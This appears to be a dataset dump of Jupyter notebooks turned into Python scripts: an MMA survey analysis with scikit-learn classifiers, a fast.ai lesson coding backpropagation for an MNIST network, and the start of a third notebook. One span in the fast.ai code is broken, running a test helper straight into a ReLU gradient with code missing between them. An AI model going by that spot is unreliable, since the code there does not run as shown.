id=\"c93qu04_KSez\" outputId=\"ecf63b9c-ca96-4e99-f639-0a9569a739fe\"\ngb1['Improve_confidence'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"1wR9bosq5RaS\" outputId=\"1b2aa6bd-02fd-4ed6-9a4e-8e6a15727ddf\"\nsns.countplot(x='Improve_confidence',data=gb1)\nplt.title(\"Improve_confidence\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"K3h6rnfpKIJb\" outputId=\"6ce1d740-e40e-4253-fa9f-425e73a2d150\"\ngb1['Physical_Toughness'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"ltVJU9FK3AKd\" outputId=\"81a00a82-d75a-4b19-db7d-faa552bee5a1\"\nsns.countplot(x='Physical_Toughness',data=gb1)\nplt.title(\"Physical_Toughness\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Uo46iJKdKefR\" outputId=\"34de74fa-c20f-436a-b6fd-8239a2bf2683\"\ngb1['Fitness'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"HeeiGFXM5GqM\" outputId=\"5d7873d9-30db-49b8-f025-05e3c285cf95\"\nsns.countplot(x='Fitness',data=gb1)\nplt.title(\"Fitness\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ExEDlS3xKlff\" outputId=\"ac374eee-1c0d-40fa-8298-c40eff8b7f45\"\ngb1['Aerobic_and_Anaerobic_conditioning'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"8asdumTXAEAS\" outputId=\"3cfada9d-54bc-4d2f-de9a-65609a81001c\"\nsns.countplot(x='Aerobic_and_Anaerobic_conditioning',data=gb1)\nplt.title(\"Aerobic_and_Anaerobic_conditioning\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FXcT3Y2lJi7_\" outputId=\"cdac5e85-d698-4b9a-9991-ee7338c6f728\"\ngb1['Overall_Body_Coordination_and_Proprioception'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"hhWmFyOgArrk\" outputId=\"e7261c74-3af5-4fa4-8697-be3ddba0dfe0\"\nsns.countplot(x='Overall_Body_Coordination_and_Proprioception',data=gb1)\nplt.title(\"Overall_Body_Coordination_and_Proprioception\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"OQPBk_sTKw3i\" outputId=\"4b548fef-c964-4786-90d0-4133ed5c5365\"\ngb1['Age'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"d1KjYenquYwr\" outputId=\"e28f3214-665a-47f6-f015-9569e734d02a\"\nsns.countplot(x='Age',data=gb1)\nplt.title(\"Age\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"eMMR9VvhJ5yB\" outputId=\"05be57b6-5f2e-4aa9-e024-d2a8d40369bc\"\ngb1['Mental_Toughness_and_Resilience'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"uiuT-VDJuK69\" outputId=\"7a68d060-a432-44f3-b40d-638a4610caac\"\nsns.countplot(x='Mental_Toughness_and_Resilience',data=gb1)\nplt.title(\"Mental_Toughness_and_Resilience\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"wP0ihoOPK17e\" outputId=\"7681eeb7-24f5-443b-af32-3bf7d007f601\"\ngb1['Stress_Relief_and_Improve_Sleep'].value_counts(ascending=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"Z00rBa10BG08\" outputId=\"b53f91d8-ffdb-47fb-e91a-73a8bd6cbec9\"\nsns.countplot(x='Stress_Relief_and_Improve_Sleep',data=gb1)\nplt.title(\"Stress_Relief_and_Improve_Sleep\")\nplt.show()\n\n# + [markdown] id=\"O5WwnlX9Cqip\"\n# Compare values\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 297} id=\"GwEuBqJS2jyP\" outputId=\"4bcb304e-1317-4492-a399-de5195672c5c\"\nsns.countplot(data=gb1, x='Fitness', hue='Physical_Toughness')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 298} id=\"ThvvckzQLOkU\" outputId=\"498f2a42-8e5f-4026-e52a-9f675b7ca57e\"\nsns.countplot(data=gb1, x='Mental_Toughness_and_Resilience', hue='Physical_Toughness')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 297} id=\"wxy6L8c9D5CS\" outputId=\"0b801027-867f-4c7b-ff2e-b59dbc490efc\"\nsns.countplot(data=gb1, x='Fitness', hue='Lose_weight')\n\n\n# + id=\"-nSaiQfdNiMf\"\ndef histograms_and_countplots(column, data, columns_to_exclude):\n if column not in columns_to_exclude:\n if data[column].dtype not in ['int64', 'float64']:\n f, axes = plt.subplots(1,1,figsize=(15,5))\n sns.countplot(x=column, data = data)\n plt.xticks(rotation=90)\n plt.suptitle(column,fontsize=20)\n plt.show()\n else:\n g = sns.FacetGrid(data, margin_titles=True, aspect=4, height=3)\n g.map(plt.hist,column,bins=100)\n plt.show()\n plt.show()\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"v0qdhjJCNlrf\" outputId=\"23eff5a4-d83b-48ae-dde9-329c4018aa83\"\ncolumns_to_exclude = ['Timestamp','Name']\n\nfor column in gb1.columns:\n histograms_and_countplots(column, gb1, columns_to_exclude)\n\n# + [markdown] id=\"ckjMqFo-3dya\"\n# #Line Graph\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 498} id=\"BAjfCDX9PD_A\" outputId=\"f9fecef7-ece7-43e8-bf10-c60ed076fc05\"\nplt.subplots(figsize=(10,8))\nsns.lineplot(data=gb1, x='Most_entertaining', y='Age', ci=None)\nplt.show()\n\n# + [markdown] id=\"FYNjJDYmbhbP\"\n#\n# #Histogram\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 541} id=\"MUh_7XII_eyu\" outputId=\"69881379-385b-4e65-a1c6-3434bb404c68\"\npx.histogram(gb1, x='Age', color='Most_entertaining', nbins=10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 541} id=\"n6y2QTkAARA-\" outputId=\"ac73dcbe-7948-408d-c2be-1a680c4a1b05\"\npx.histogram(gb1, x='Age', color='Fitness')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 541} id=\"Llo_s2azIL0v\" outputId=\"50985d37-fca5-4b79-f34a-5c067ee857f2\"\npx.histogram(gb1, x='Age', color='Physical_Toughness')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 541} id=\"jOP8Gb5WINu0\" outputId=\"d0a1ea8d-f904-4dce-c9d5-642adf9197f9\"\npx.histogram(gb1, x='Age', color='Mental_Toughness_and_Resilience')\n\n# + [markdown] id=\"zQWAod1Y3ShA\"\n# #Pie - Chart\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 699} id=\"nTceCQNoyGZL\" outputId=\"3d6898a1-b4fc-49b6-d2c1-cde330b14309\"\ngb1['Age'].value_counts().plot(kind='pie',autopct='%1.2f%%',figsize=(15,12))\nplt.title(\"At What Age did people heard about MMA(Mixed Martial Arts)\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 699} id=\"EdEproshzCr2\" outputId=\"36d86902-052c-4183-fa62-0d4320d00a90\"\ngb1['Fitness'].value_counts().plot(kind='pie',autopct='%1.2f%%',figsize=(15,12))\nplt.title(\"MMA(Mixed Martial Arts) leads to fitness\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 699} id=\"AY-40I3kzQlD\" outputId=\"8ed3fef6-286e-4038-ec40-65d3a215c0d1\"\ngb1['Physical_Toughness'].value_counts().plot(kind='pie',autopct='%1.2f%%',figsize=(15,12))\nplt.title(\"MMA(Mixed Martial Arts) Helps to Improves Physical Toughness\")\nplt.show()\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 699} id=\"YPdk8hXFz_BY\" outputId=\"b8d3806d-a6b7-4319-aa87-c42dcb06a0cd\"\ngb1['Lose_weight'].value_counts().plot(kind='pie',autopct='%1.2f%%',figsize=(15,12))\nplt.title(\"MMA(Mixed Martial Arts) Helps to Lose weight\")\nplt.show()\n\n\n# + id=\"6umjn2FZt_Sc\"\n#Numeric value\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 538} id=\"aG_5kTaiUIoe\" outputId=\"8be79615-927c-4043-c27e-7283241680d9\"\ngb1.hist(grid=False, xlabelsize=12, ylabelsize=12,figsize=(12,8), color = \"black\")\nplt.xlabel(\"Age\", fontsize=15)\nplt.ylabel(\"Most_entertaining\",fontsize=10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 610} id=\"QqYhos6GruAQ\" outputId=\"1400513b-5897-43b8-e5a6-205d610e0446\"\ngb1.hist(grid=False, xlabelsize=12, ylabelsize=15,figsize=(20,10), color = \"grey\")\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 75} id=\"7bKu1mVgUqGo\" outputId=\"e59a310c-8847-4823-d5eb-5aca77488368\"\ngb1.corr()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 606} id=\"U8qP6XpxYFdp\" outputId=\"d0bf9e6f-36b0-4e10-ecfb-55d803b7d061\"\nsns.set_style('darkgrid')\nplt.figure(figsize=(15,10))\nsns.histplot(gb1.Most_entertaining,kde=False);\n\n# + [markdown] id=\"5GIVymNLyZU0\"\n# #Scatter Plot\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 313} id=\"y7StizjTt4q8\" outputId=\"7db17ee2-9c83-42aa-e5b5-1365d5490789\"\nme=gb1['Most_entertaining']\nag=gb1['Age']\nplt.scatter(me,ag,c='b',marker='*')\nplt.xlabel('INTEREST', fontsize=16)\nplt.ylabel('AGE', fontsize=16)\nplt.title('Scatter Plot - ',fontsize=30)\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"UbSlQjYgvkPt\" outputId=\"47f2d942-cfb5-4078-acbe-52f55ff92f69\"\ngb1.columns\n\n# + [markdown] id=\"pmCluymJwBEn\"\n# #Converting Value to Numeric\n\n# + id=\"6rmE1WTQUrL6\"\ngb1.drop(['Name'], axis = 1,inplace=True)\n\n# + id=\"C6OWOAnSUt8Q\"\ngb1.drop(['Timestamp'], axis = 1,inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 573} id=\"404dXsMfLXFd\" outputId=\"1df11e42-53ee-44ae-f6ad-7fb349b454fc\"\ngb1\n\n# + id=\"bfMLgqX40WLw\"\n#one hot encoding\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 441} id=\"NnCaKfRky6P_\" outputId=\"54e09f53-9a3c-451a-dac7-2814756eeb39\"\none_hot_data = pd.get_dummies(gb1[['Most_entertaining']])\none_hot_data\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 441} id=\"iWrlHl6dzdTe\" outputId=\"cd9012e6-85b9-4c7d-ee83-4342a3fa83b1\"\none_hot_data = pd.get_dummies(gb1[['Most_entertaining']],drop_first=True)\none_hot_data\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0bHfKcMSQX-g\" outputId=\"271329cf-681a-4710-b307-117d32076b82\"\none_hot_data.columns\n\n# + id=\"rFME0ePc6Mip\"\ngb1['Age'] = gb1['Age'].replace({ 'Below 12yrs' : 1 , 'Below 15yrs' :2 ,'Below 18yrs' : 3, 'Above 18yrs': 4})\ngb1['Improve_confidence'] = gb1['Improve_confidence'].replace({ 'Yes' : 1 , 'No' :2})\ngb1['Physical_Toughness'] = gb1['Physical_Toughness'].replace({ 'Agree' : 1 , 'Disagree' :2, \"Can't Say\": 3})\ngb1['Mental_Toughness_and_Resilience'] = gb1['Mental_Toughness_and_Resilience'].replace({ 'Strongly disagree' : 1 ,'Disagree' :2 ,'Neutral':3 ,'Agree' :4 ,'Strongly agree':5})\ngb1['Fitness'] = gb1['Fitness'].replace({'Maybe':3 , 'Yes' : 1 , 'No' :2})\ngb1['Overall_Body_Coordination_and_Proprioception'] = gb1['Overall_Body_Coordination_and_Proprioception'].replace({'Strongly disagree' : 1 ,'Disagree' :2 ,'Neutral':3 ,'Agree' :4 ,'Strongly Agree':5})\ngb1['Stress_Relief_and_Improve_Sleep'] = gb1['Stress_Relief_and_Improve_Sleep'].replace({'Strongly disagree' : 1 ,'Disagree' :2 ,'Neutral':3 ,'Agree' :4 ,'Strongly agree':5})\ngb1['Lose_weight'] = gb1['Lose_weight'].replace({'Yes' : 1 , 'No' :2 , 'May be':3})\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 458} id=\"7-Hq2lsH79l4\" outputId=\"88ea56bb-1ea4-4ccd-8e5a-ae0792e9f74a\"\ngb1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 441} id=\"WRW6I1mb0hbc\" outputId=\"b6fc2439-6196-4c6a-8c39-21b9728aa3f5\"\none_hot_data\n\n# + id=\"gLT5KrDKhaiO\" outputId=\"70910b56-382b-45df-c97d-d065ffae3582\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 491}\nmerge = pd.concat([gb1,one_hot_data,],axis='columns')\nmerge\n\n# + id=\"SW5LfuCyiTzY\" outputId=\"ca679e85-c2c0-44f5-db5e-cda1bd1c545e\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 441}\nlast = merge.drop(['Most_entertaining'],axis='columns')\nlast\n\n# + [markdown] id=\"GPRanzjP3Gub\"\n# #Split\n\n# + id=\"JGA9czyRvMlk\"\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nnum=LabelEncoder()\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\n# Model Evaluations\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score\nfrom sklearn import tree\nimport graphviz\nfrom sklearn.tree import export_graphviz\n\n# + id=\"JByuebA2Ym6r\"\n# Split data into X and y\npredictors = ['Physical_Toughness','Aerobic_and_Anaerobic_conditioning']\nX = last[predictors]\ny = last['Lose_weight']\n\n# + id=\"y2jOhINav9mq\"\n# Split the data into training and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n# + id=\"nGUdzXEIwPw5\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"ee97cab9-2d3c-4cb1-eac8-5e18f07eb1ab\"\nX_train.shape, X_test.shape, y_train.shape, y_test.shape\n\n# + [markdown] id=\"q-fTkIj9FNQh\"\n# #Decision Tree Classifer\n#\n\n# + id=\"hdD_a17cwV5l\"\nfrom sklearn.tree import DecisionTreeClassifier\n\n# + id=\"kwpKA48qwaVg\"\n#Using DecisionTreeClassifier\ndct=DecisionTreeClassifier(random_state=42)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"S0ajcRPuwfFm\" outputId=\"3185dee8-4fca-4996-ceb7-0dc273c9dd74\"\ndct.fit(X_train,y_train)\n\n# + id=\"AQih5u3_w2LY\"\ny_preds=dct.predict(X_test)\n\n# + id=\"T_-JBJSkw3Uw\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"3c355872-9854-4cea-d1fc-76e1420b78f5\"\ndct.score(X_test, y_test)*100\n\n# + id=\"VOUIL0L3w7wp\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"b38c7c7c-2360-4ba9-a7db-428973ad7b37\"\nprint(classification_report(y_test, y_preds))\n\n# + id=\"7KBZaXppkcrM\" outputId=\"dee082ab-ec07-41aa-9de3-b723ebdf9d80\" colab={\"base_uri\": \"https://localhost:8080/\"}\ncm = confusion_matrix(y_test, y_preds)\ncm\n\n# + id=\"YB1PfA5ikxJj\" outputId=\"0b5bbde8-0eb3-4a88-b224-84080d46304d\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 240}\nsns.set(font_scale=1.4)\n\ndef plot_conf_mat(y_test, y_preds):\n fig, ax = plt.subplots(figsize=(3, 3))\n ax = sns.heatmap(confusion_matrix(y_test, y_preds),\n annot=True,\n cbar=False)\n plt.xlabel(\"True label\")\n plt.ylabel(\"Predicted label\")\n \n bottom, top = ax.get_ylim()\n ax.set_ylim(bottom + 0.5, top - 0.5)\n \nplot_conf_mat(y_test, y_preds)\n\n# + [markdown] id=\"83mtO0kh1t-q\"\n# #*Predictions* using Random Forest\n\n# + id=\"QAb_DCZ1xBNs\"\nfrom sklearn.ensemble import RandomForestClassifier\n\n# + id=\"C2InOFncxG__\"\ngb2=RandomForestClassifier(n_estimators=500)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"xn7oJjq_xNLj\" outputId=\"0a6e2b2f-7a38-4abd-93f5-a65d93d749f3\"\ngb2.fit(X_train,y_train)\n\n# + id=\"yeUsNqsbxRMI\"\ny_predictions=gb2.predict(X_test)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"MF0LFEiaxgSb\" outputId=\"9d91bf47-aa21-480c-eaee-86ead25af07b\"\naccuracy_score(y_test,y_predictions)\n\n# + [markdown] id=\"SaVjtxvY19zL\"\n# #Predictions using Logistic Regression.\n\n# + id=\"IwqzyuDixkm2\"\nfrom sklearn.linear_model import LogisticRegression\n\n# + id=\"9E2vFgIzxpZN\"\nlogr=LogisticRegression(C=0.01,max_iter=1000,random_state=42)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"e2l_VOQuxups\" outputId=\"aa430d48-acd1-4b43-b87c-bd07722a0379\"\nlogr.fit(X_train,y_train)\n\n# + id=\"4KHoz7RMxyqs\"\ny_predictions=logr.predict(X_test)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"vooLaIGox3uG\" outputId=\"bae6fa4f-3413-4a46-9902-6e5862c4cf1b\"\nprint(accuracy_score(y_predictions,y_test))\n\n# + id=\"OkJTuG2btKYG\"\n\n","repo_name":"Girish-30/BI_project","sub_path":"Final_project.ipynb","file_name":"Final_project.ipynb","file_ext":"py","file_size_in_byte":19364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"22768238477","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + id=\"PQtwqq62Klms\"\n# %load_ext autoreload\n# %autoreload 2\n\n# %matplotlib inline\n\n# + id=\"kh0tIASILJEL\"\n\n\n# + [markdown] id=\"jRFVtDkFKlm0\"\n# ## The forward and backward passes\n\n# + [markdown] id=\"jV3_Xs85Klm3\"\n# [Jump_to lesson 8 video](https://course19.fast.ai/videos/?lesson=8&t=4960)\n\n# + id=\"zyak-TJAKlm4\"\n#export\nfrom exp.nb_01 import *\n\ndef get_data():\n path = datasets.download_data(MNIST_URL, ext='.gz')\n with gzip.open(path, 'rb') as f:\n ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding='latin-1')\n return map(tensor, (x_train,y_train,x_valid,y_valid))\n\ndef normalize(x, m, s): return (x-m)/s\n\n\n# + id=\"WbSfyvBQKlm5\"\nx_train,y_train,x_valid,y_valid = get_data()\n\n# + id=\"2j3aZDmyKlm5\" outputId=\"68b0d1ae-1a3d-45a0-85ca-d78df7e90b53\"\ntrain_mean,train_std = x_train.mean(),x_train.std()\ntrain_mean,train_std\n\n# + id=\"2NOQB_wfKlm7\"\nx_train = normalize(x_train, train_mean, train_std)\n# NB: Use training, not validation mean for validation set\nx_valid = normalize(x_valid, train_mean, train_std)\n\n# + id=\"YXxSJzCMKlm8\" outputId=\"734c245d-ec7a-4035-b702-ba477b721226\"\ntrain_mean,train_std = x_train.mean(),x_train.std()\ntrain_mean,train_std\n\n\n# + id=\"7Gz6KAQrKlm9\"\n#export\ndef test_near_zero(a,tol=1e-3): assert a.abs()0).float() * out.g\n\n\n# + id=\"XoNJiAd9KlnQ\"\ndef lin_grad(inp, out, w, b):\n # grad of matmul with respect to input\n inp.g = out.g @ w.t()\n w.g = (inp.unsqueeze(-1) * out.g.unsqueeze(1)).sum(0)\n b.g = out.g.sum(0)\n\n\n# + id=\"Tp6zdT3DKlnQ\"\ndef forward_and_backward(inp, targ):\n # forward pass:\n l1 = inp @ w1 + b1\n l2 = relu(l1)\n out = l2 @ w2 + b2\n # we don't actually need the loss in backward!\n loss = mse(out, targ)\n \n # backward pass:\n mse_grad(out, targ)\n lin_grad(l2, out, w2, b2)\n relu_grad(l1, l2)\n lin_grad(inp, l1, w1, b1)\n\n\n# + id=\"Jv1mfj45KlnQ\"\nforward_and_backward(x_train, y_train)\n\n# + id=\"UQ8_8966KlnQ\"\n# Save for testing against later\nw1g = w1.g.clone()\nw2g = w2.g.clone()\nb1g = b1.g.clone()\nb2g = b2.g.clone()\nig = x_train.g.clone()\n\n# + [markdown] id=\"BY0b_T0OKlnQ\"\n# We cheat a little bit and use PyTorch autograd to check our results.\n\n# + id=\"dmS-2NJCKlnR\"\nxt2 = x_train.clone().requires_grad_(True)\nw12 = w1.clone().requires_grad_(True)\nw22 = w2.clone().requires_grad_(True)\nb12 = b1.clone().requires_grad_(True)\nb22 = b2.clone().requires_grad_(True)\n\n\n# + id=\"eZe_d2dKKlnR\"\ndef forward(inp, targ):\n # forward pass:\n l1 = inp @ w12 + b12\n l2 = relu(l1)\n out = l2 @ w22 + b22\n # we don't actually need the loss in backward!\n return mse(out, targ)\n\n\n# + id=\"oqoWsyCzKlnR\"\nloss = forward(xt2, y_train)\n\n# + id=\"SvkkqO2vKlnR\"\nloss.backward()\n\n# + id=\"MuxcWixkKlnR\"\ntest_near(w22.grad, w2g)\ntest_near(b22.grad, b2g)\ntest_near(w12.grad, w1g)\ntest_near(b12.grad, b1g)\ntest_near(xt2.grad, ig )\n\n\n# + [markdown] id=\"_S_VSvRUKlnR\"\n# ## Refactor model\n\n# + [markdown] id=\"oWJI5oTUKlnS\"\n# ### Layers as classes\n\n# + [markdown] id=\"1GhdElgVKlnS\"\n# [Jump_to lesson 8 video](https://course19.fast.ai/videos/?lesson=8&t=7112)\n\n# + id=\"9wPwti3sKlnS\"\nclass Relu():\n def __call__(self, inp):\n self.inp = inp\n self.out = inp.clamp_min(0.)-0.5\n return self.out\n \n def backward(self): self.inp.g = (self.inp>0).float() * self.out.g\n\n\n# + id=\"3Jvejt4uKlnS\"\nclass Lin():\n def __init__(self, w, b): self.w,self.b = w,b\n \n def __call__(self, inp):\n self.inp = inp\n self.out = inp@self.w + self.b\n return self.out\n \n def backward(self):\n self.inp.g = self.out.g @ self.w.t()\n # Creating a giant outer product, just to sum it, is inefficient!\n self.w.g = (self.inp.unsqueeze(-1) * self.out.g.unsqueeze(1)).sum(0)\n self.b.g = self.out.g.sum(0)\n\n\n# + id=\"16MTZm-0KlnS\"\nclass Mse():\n def __call__(self, inp, targ):\n self.inp = inp\n self.targ = targ\n self.out = (inp.squeeze() - targ).pow(2).mean()\n return self.out\n \n def backward(self):\n self.inp.g = 2. * (self.inp.squeeze() - self.targ).unsqueeze(-1) / self.targ.shape[0]\n\n\n# + id=\"eqzuN8moKlnT\"\nclass Model():\n def __init__(self, w1, b1, w2, b2):\n self.layers = [Lin(w1,b1), Relu(), Lin(w2,b2)]\n self.loss = Mse()\n \n def __call__(self, x, targ):\n for l in self.layers: x = l(x)\n return self.loss(x, targ)\n \n def backward(self):\n self.loss.backward()\n for l in reversed(self.layers): l.backward()\n\n\n# + id=\"_WiYJhS2KlnT\"\nw1.g,b1.g,w2.g,b2.g = [None]*4\nmodel = Model(w1, b1, w2, b2)\n\n# + id=\"1ByYwx_qKlnT\" outputId=\"4389c245-6674-4e1c-e3bc-36411004c141\"\n# %time loss = model(x_train, y_train)\n\n# + id=\"JJFixQjNKlnT\" outputId=\"70a9e4dc-86be-4494-bd96-9cd0b03ae376\"\n# %time model.backward()\n\n# + id=\"OTncCD5OKlnT\"\ntest_near(w2g, w2.g)\ntest_near(b2g, b2.g)\ntest_near(w1g, w1.g)\ntest_near(b1g, b1.g)\ntest_near(ig, x_train.g)\n\n\n# + [markdown] id=\"ARgwzEbLKlnU\"\n# ### Module.forward()\n\n# + id=\"rNYxNyXDKlnU\"\nclass Module():\n def __call__(self, *args):\n self.args = args\n self.out = self.forward(*args)\n return self.out\n \n def forward(self): raise Exception('not implemented')\n def backward(self): self.bwd(self.out, *self.args)\n\n\n# + id=\"IxwBjMsjKlnU\"\nclass Relu(Module):\n def forward(self, inp): return inp.clamp_min(0.)-0.5\n def bwd(self, out, inp): inp.g = (inp>0).float() * out.g\n\n\n# + id=\"Jx3lF1_AKlnU\"\nclass Lin(Module):\n def __init__(self, w, b): self.w,self.b = w,b\n \n def forward(self, inp): return inp@self.w + self.b\n \n def bwd(self, out, inp):\n inp.g = out.g @ self.w.t()\n self.w.g = torch.einsum(\"bi,bj->ij\", inp, out.g)\n self.b.g = out.g.sum(0)\n\n\n# + id=\"VQ06L8KDKlnU\"\nclass Mse(Module):\n def forward (self, inp, targ): return (inp.squeeze() - targ).pow(2).mean()\n def bwd(self, out, inp, targ): inp.g = 2*(inp.squeeze()-targ).unsqueeze(-1) / targ.shape[0]\n\n\n# + id=\"x1gbW29GKlnV\"\nclass Model():\n def __init__(self):\n self.layers = [Lin(w1,b1), Relu(), Lin(w2,b2)]\n self.loss = Mse()\n \n def __call__(self, x, targ):\n for l in self.layers: x = l(x)\n return self.loss(x, targ)\n \n def backward(self):\n self.loss.backward()\n for l in reversed(self.layers): l.backward()\n\n\n# + id=\"MeWCWC2WKlnV\"\nw1.g,b1.g,w2.g,b2.g = [None]*4\nmodel = Model()\n\n# + id=\"QoRBSmhLKlnV\" outputId=\"c5cbd6aa-f883-45b0-e268-4b18ff1a371d\"\n# %time loss = model(x_train, y_train)\n\n# + id=\"01T_2XLiKlnV\" outputId=\"f7cd36fc-5a32-4a37-e787-23c873895e26\"\n# %time model.backward()\n\n# + id=\"hyglTFcuKlnV\"\ntest_near(w2g, w2.g)\ntest_near(b2g, b2.g)\ntest_near(w1g, w1.g)\ntest_near(b1g, b1.g)\ntest_near(ig, x_train.g)\n\n\n# + [markdown] id=\"azL1s963KlnW\"\n# ### Without einsum\n\n# + [markdown] id=\"qdUAd5__KlnW\"\n# [Jump_to lesson 8 video](https://course19.fast.ai/videos/?lesson=8&t=7484)\n\n# + id=\"bQnvHqIlKlnW\"\nclass Lin(Module):\n def __init__(self, w, b): self.w,self.b = w,b\n \n def forward(self, inp): return inp@self.w + self.b\n \n def bwd(self, out, inp):\n inp.g = out.g @ self.w.t()\n self.w.g = inp.t() @ out.g\n self.b.g = out.g.sum(0)\n\n\n# + id=\"4Hn_-TH9KlnW\"\nw1.g,b1.g,w2.g,b2.g = [None]*4\nmodel = Model()\n\n# + id=\"bvmJHkvoKlnW\" outputId=\"48ad7a9b-7aa0-4910-8c70-81e96ecb77c7\"\n# %time loss = model(x_train, y_train)\n\n# + id=\"HhJZFIy6KlnX\" outputId=\"b4b84c99-32e4-4068-fa4f-55ec0bea8cb8\"\n# %time model.backward()\n\n# + id=\"zd_fVrMuKlnX\"\ntest_near(w2g, w2.g)\ntest_near(b2g, b2.g)\ntest_near(w1g, w1.g)\ntest_near(b1g, b1.g)\ntest_near(ig, x_train.g)\n\n# + [markdown] id=\"5p5exUVjKlnX\"\n# ### nn.Linear and nn.Module\n\n# + id=\"ASswM0TXKlnX\"\n#export\nfrom torch import nn\n\n\n# + id=\"7zWMZFyMKlnX\"\nclass Model(nn.Module):\n def __init__(self, n_in, nh, n_out):\n super().__init__()\n self.layers = [nn.Linear(n_in,nh), nn.ReLU(), nn.Linear(nh,n_out)]\n self.loss = mse\n \n def __call__(self, x, targ):\n for l in self.layers: x = l(x)\n return self.loss(x.squeeze(), targ)\n\n\n# + id=\"EXaVIg5UKlnX\"\nmodel = Model(m, nh, 1)\n\n# + id=\"pUmyMlb5KlnY\" outputId=\"8a0d252d-a2d6-44f7-c969-20c61beec2a4\"\n# %time loss = model(x_train, y_train)\n\n# + id=\"WMmsrRE1KlnY\" outputId=\"585f074d-1d2c-40d1-ed8e-16a81980a969\"\n# %time loss.backward()\n\n# + [markdown] id=\"eWy6_io-KlnY\"\n# ## Export\n\n# + id=\"OgZOeHeJKlnY\" outputId=\"97173ead-d00e-4932-bfa7-7ca830e4f9ee\"\n# !./notebook2script.py 02_fully_connected.ipynb\n\n# + id=\"AnQ-HbZ1KlnY\"\n\n","repo_name":"fbelinchon/fastai","sub_path":"dll2_02_fully_connected.ipynb","file_name":"dll2_02_fully_connected.ipynb","file_ext":"py","file_size_in_byte":14027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"13692455373","text":"# !pip install torch==1.10.0\n\n# +\nimport os\n\nDIR = 'input'\n\nTRAIN_TEST_PATH = os.path.join(DIR, 'train_test.parquet') \nRECS_TEST_PATH = os.path.join(DIR, 'recs_test.parquet') \nTEST_IDS_PATH = os.path.join(DIR, 'test_ids.csv') \n\nCLUSTERS_PATH = os.path.join(DIR, 'clusters.parquet') \nUSER_DECODER_PATH = os.path.join(DIR, 'user_decoder.pkl') \nRANKER_MODEL_PATH = os.path.join(DIR, 'ranker_model.pkl')\nRANKER_MODEL1_PATH = 